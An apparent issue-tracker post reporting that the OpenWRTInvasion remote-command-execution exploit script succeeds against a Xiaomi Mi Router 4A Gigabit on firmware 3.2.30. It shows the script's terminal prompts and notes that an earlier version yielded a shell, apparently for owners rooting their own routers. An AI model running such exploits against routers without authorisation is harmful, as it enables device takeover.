[Success] Mi Router 4A Gigabit Edition (R4A) on firmware 3.2.30

[symm]

Reporting success with the following methods:

• The original 0.0.1 offline which got me a shell
• Current master branch in MacOS (Ventura):

➜ OpenWRTInvasion git:(master) python3 remote_command_execution_vulnerability.py
Router IP address [press enter for using the default 'miwifi.com']: 192.168.31.1
Enter router admin password: {redacted}
There two options to provide the files needed for invasion:

1. Use a local TCP file server runing on random port to provide files in local directory script_tools.
2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)
   Which option do you prefer? (default: 1)

router_ip_address: 192.168.31.1

start uploading config file...
